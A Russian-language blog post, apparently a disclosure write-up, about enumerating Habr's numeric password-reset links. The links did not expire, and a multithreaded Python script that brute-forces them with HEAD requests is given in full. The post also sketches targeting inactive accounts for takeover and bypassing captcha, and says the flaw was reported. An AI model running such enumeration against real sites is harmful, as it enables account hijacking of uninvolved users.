Смена чужого пароля на хабре
Слабыми местами системы являются те, на которые разработчики смотрят реже всего. Одним из таких мест является восстановление пароля на сайте/сервисе. Теперь, когда habrahabr сменил способ авторизации, решил написать пост. Опасность представлял функционал по восстановлению пароля. Рассмотрим подробнее слабые места.
[frame align=»center»]
[/frame]
Для восстановления пароля необходимо было знать только логин жертвы, обычно системы требуют ввода e-mail адреса, если добыть почтовый адрес достаточно сложно, то логин — это и ник пользователя на сайте. Как видим это первое слабое место. Помимо этого стоит reCapcha, что усложняет массовые запросы, но обойти такую систему можно с помощью сервисов распознавания капчи, вроде антигейта.
После запроса, на почту приходит ссылка для восстановления вида: https://auth.habrahabr.ru/login/reminder/[0-9]{9,10}/
[/frame]
Сразу можно заметить, что в качестве идентификатора используется строка состоящая из цифр от нуля до девяти, длиной 9 — 10 (100000000-9999999999) символов. Выглядит страшно, но это не совсем так. Сделав 10 запросов на смену пароля 10 раз, посмотрел на все ссылки и сделал вывод, что диапазоном является рандомное число от 100 000 000 до 2 500 000 000. Что уже не так пугающе выглядит.
После посещения своей ссылки и не меняя пароль, ссылка продолжает жить. Да, она не умирает даже после 10 посещений. Более того, по времени нет ограничений (возможно и есть), но после 3 суток ссылка все еще живая.
Собрав всё воедино был написан многопоточный скрипт на Python, который двигается по нашему диапазоны и ищет живые линки на смену пароля. Запуск был произведен на сервере от Amazon. Чтобы не грузить страницу полностью был использован метод HEAD, который как оказалось в данном случае тоже передает код ответа, 404 или 200. Блокировок по IP адресу не было, более того, я думаю HEAD запросы вовсе не логировались.
#!/usr/bin/env python
#-*-encoding:UTF-8-*-
import requests
import Queue
import threading
import time
queue = Queue.Queue()
THREADS_COUNT = 50
start = time.time()
def worker():
global queue
while True:
try:
pid = queue.get_nowait()
except Queue.Empty, error:
return
response = process('https://auth.habrahabr.ru/login/reminder/'+ str(pid) + '/')
if response == 200:
print 'https://auth.habrahabr.ru/login/reminder/' + str(pid) + '/ - 200'
f = open('log.txt','wb')
f.write('http://habrahabr.ru/post/' + str(pid) + '/ - 200')
f.close()
else:
print 'https://auth.habrahabr.ru/login/reminder/' + str(pid) + '/ - 404'
def process(target_link):
try:
res = requests.head(target_link)
except Exception ,error:
print str(error)
return res.status_code
def main():
print "STARTED"
global THREADS_COUNT
global DEEP
global start
i = 100000000
while (i < 1000000000):
queue.put(i)
i = i + 1
for _ in xrange(THREADS_COUNT):
thread_ = threading.Thread(target=worker)
thread_.start()
while threading.active_count() >1:
time.sleep(1)
finish = time.time()
print (finish - start)
print "FINISHED"
if __name__ == "__main__":
main()
Спустя сутки была найдена реальная ссылка для восстановления пароля, менять его не стал, пусть хозяин пользуется 🙂

Из минусов метода, можно отметить то, что мы не знаем чей пароль меняем. Это нигде не указано. В качестве целенаправленной атаки можно было собрать некоторую информацию о пользователе. Например последний визит на хабр, это отображается в профиле.

В случае если человек давно не посещал ресурс, можно добавить его в базу для последующей атаки, а далее уже менять пароль и пользоваться аккаунтом.
После обнаружения ошибок, я сообщил в ТП. Возможно это стало одним из кирпичиков организации нового способа авторизации на сайте через TM ID.
One reply to “Смена чужого пароля на хабре”
qwe
Молодец, расковырял болячку.